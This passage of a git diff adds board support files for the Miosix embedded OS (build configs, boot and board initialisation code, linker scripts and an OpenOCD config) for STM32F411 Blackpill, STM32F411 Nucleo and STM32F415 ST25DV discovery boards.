+$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F411CE_BLACKPILL +BOARD_CXXFLAGS := -D_BOARD_STM32F411CE_BLACKPILL + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= dfu-util -d 0483:df11 -a 0 -s 0x08000000:leave -D \ + $(if $(ROMFS_DIR), image.bin, main.bin) diff --git a/miosix/arch/board/stm32f411ce_blackpill/boot.cpp b/miosix/arch/board/stm32f411ce_blackpill/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f411ce_blackpill/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f411ce_blackpill/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f411ce_blackpill/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..5e4732301 --- /dev/null +++ b/miosix/arch/board/stm32f411ce_blackpill/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency +#define STM32F411xE +#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" +#include "CMSIS/Include/core_cm4.h" +#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f411 RCC synchronization is required per the device errata +//(ES0287 section 2.2.7). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 85, so there are 86 +#define MIOSIX_NUM_PERIPHERAL_IRQ 86 diff --git a/miosix/arch/board/stm32f411ce_blackpill/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f411ce_blackpill/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..0ab3b08f2 --- /dev/null +++ b/miosix/arch/board/stm32f411ce_blackpill/interfaces-impl/bsp.cpp @@ -0,0 +1,129 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOH->OSPEEDR=0xaaaaaaaa; + _led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f411ce_blackpill/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f411ce_blackpill/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..e8807cf11 --- /dev/null +++ b/miosix/arch/board/stm32f411ce_blackpill/interfaces-impl/bsp_impl.h @@ -0,0 +1,80 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::low(); +} + +inline void ledOff() +{ + _led::high(); +} + +/** + * Polls the SD card sense GPIO. + * + * This board has no SD card whatsoever, but a card can be connected to the + * following GPIOs: + * TODO: never tested + * + * \return true. As there's no SD card sense switch, let's pretend that + * the card is present. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32f411ce_blackpill/openocd.cfg b/miosix/arch/board/stm32f411ce_blackpill/openocd.cfg new file mode 100644 index 000000000..a91f20d5b --- /dev/null +++ b/miosix/arch/board/stm32f411ce_blackpill/openocd.cfg @@ -0,0 +1,18 @@ +# +# OpenOCD configuration file for in-circuit debugging. +# Tested 12/2025 using an stlink V2 (stm32f4discovery board used as debugger) +# To start debugging issue those commands: +# arm-miosix-eabi-gdb main.elf +# target extended-remote :3333 +# monitor reset halt +# load +# break main +# continue +# + +# Daemon configuration +telnet_port 4444 +gdb_port 3333 + +source [find interface/stlink-v2.cfg] +source [find target/stm32f4x.cfg] diff --git a/miosix/arch/board/stm32f411ce_blackpill/processes.ld b/miosix/arch/board/stm32f411ce_blackpill/processes.ld new file mode 100644 index 000000000..8a71de511 --- /dev/null +++ b/miosix/arch/board/stm32f411ce_blackpill/processes.ld @@ -0,0 +1,17 @@ +/* + * Linker script for stm32f411 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 96K; + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f411ce_blackpill/unikernel.ld b/miosix/arch/board/stm32f411ce_blackpill/unikernel.ld new file mode 100644 index 000000000..40dfa3481 --- /dev/null +++ b/miosix/arch/board/stm32f411ce_blackpill/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f411 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f411re_nucleo/CMakeLists.txt b/miosix/arch/board/stm32f411re_nucleo/CMakeLists.txt new file mode 100644 index 000000000..27d7e1d7b --- /dev/null +++ b/miosix/arch/board/stm32f411re_nucleo/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32f411re_nucleo +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f4) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F411RE_NUCLEO) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F411RE_NUCLEO) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f411re_nucleo/Makefile.inc b/miosix/arch/board/stm32f411re_nucleo/Makefile.inc new file mode 100644 index 000000000..631426992 --- /dev/null +++ b/miosix/arch/board/stm32f411re_nucleo/Makefile.inc @@ -0,0 +1,26 @@ +## +## Makefile for board stm32f411re_nucleo +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f4 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F411RE_NUCLEO +BOARD_CXXFLAGS := -D_BOARD_STM32F411RE_NUCLEO + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f411re_nucleo/boot.cpp b/miosix/arch/board/stm32f411re_nucleo/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f411re_nucleo/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f411re_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f411re_nucleo/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..5e4732301 --- /dev/null +++ b/miosix/arch/board/stm32f411re_nucleo/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency +#define STM32F411xE +#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" +#include "CMSIS/Include/core_cm4.h" +#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f411 RCC synchronization is required per the device errata +//(ES0287 section 2.2.7). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 85, so there are 86 +#define MIOSIX_NUM_PERIPHERAL_IRQ 86 diff --git a/miosix/arch/board/stm32f411re_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f411re_nucleo/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..0ab3b08f2 --- /dev/null +++ b/miosix/arch/board/stm32f411re_nucleo/interfaces-impl/bsp.cpp @@ -0,0 +1,129 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOH->OSPEEDR=0xaaaaaaaa; + _led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f411re_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f411re_nucleo/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..ffe85ddbd --- /dev/null +++ b/miosix/arch/board/stm32f411re_nucleo/interfaces-impl/bsp_impl.h @@ -0,0 +1,80 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +/** + * Polls the SD card sense GPIO. + * + * This board has no SD card whatsoever, but a card can be connected to the + * following GPIOs: + * TODO: never tested + * + * \return true. As there's no SD card sense switch, let's pretend that + * the card is present. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32f411re_nucleo/processes.ld b/miosix/arch/board/stm32f411re_nucleo/processes.ld new file mode 100644 index 000000000..8a71de511 --- /dev/null +++ b/miosix/arch/board/stm32f411re_nucleo/processes.ld @@ -0,0 +1,17 @@ +/* + * Linker script for stm32f411 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 96K; + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f411re_nucleo/unikernel.ld b/miosix/arch/board/stm32f411re_nucleo/unikernel.ld new file mode 100644 index 000000000..40dfa3481 --- /dev/null +++ b/miosix/arch/board/stm32f411re_nucleo/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f411 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f415vg_st25dvdiscovery/CMakeLists.txt b/miosix/arch/board/stm32f415vg_st25dvdiscovery/CMakeLists.txt new file mode 100644 index 000000000..35b3db611 --- /dev/null +++ b/miosix/arch/board/stm32f415vg_st25dvdiscovery/CMakeLists.txt @@ -0,0 +1,34 @@ +## +## CMakeLists.txt for board stm32f415vg_st25dvdiscovery +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f4) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_hardware_rng.cpp + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F415VG_ST25DVDISCOVERY) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F415VG_ST25DVDISCOVERY) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f415vg_st25dvdiscovery/Makefile.inc b/miosix/arch/board/stm32f415vg_st25dvdiscovery/Makefile.inc new file mode 100644 index 000000000..1c1d6511f --- /dev/null +++ b/miosix/arch/board/stm32f415vg_st25dvdiscovery/Makefile.inc @@ -0,0 +1,27 @@ +## +## Makefile for board stm32f415vg_st25dvdiscovery +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f4 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +arch/drivers/stm32_hardware_rng.cpp \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F415VG_ST25DVDISCOVERY +BOARD_CXXFLAGS := -D_BOARD_STM32F415VG_ST25DVDISCOVERY + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f415vg_st25dvdiscovery/boot.cpp b/miosix/arch/board/stm32f415vg_st25dvdiscovery/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f415vg_st25dvdiscovery/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f415vg_st25dvdiscovery/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f415vg_st25dvdiscovery/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..b45c19a02 --- /dev/null +++ b/miosix/arch/board/stm32f415vg_st25dvdiscovery/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency +#define STM32F415xx +#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" +#include "CMSIS/Include/core_cm4.h" +#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f405,f407,f415,f417 RCC synchronization is required per the +//device errata (ES0182 section 2.2.13). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 81, so there are 82 +#define MIOSIX_NUM_PERIPHERAL_IRQ 82 diff --git a/miosix/arch/board/stm32f415vg_st25dvdiscovery/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f415vg_st25dvdiscovery/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..61c5598bc --- /dev/null +++ b/miosix/arch/board/stm32f415vg_st25dvdiscovery/interfaces-impl/bsp.cpp @@ -0,0 +1,133 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include 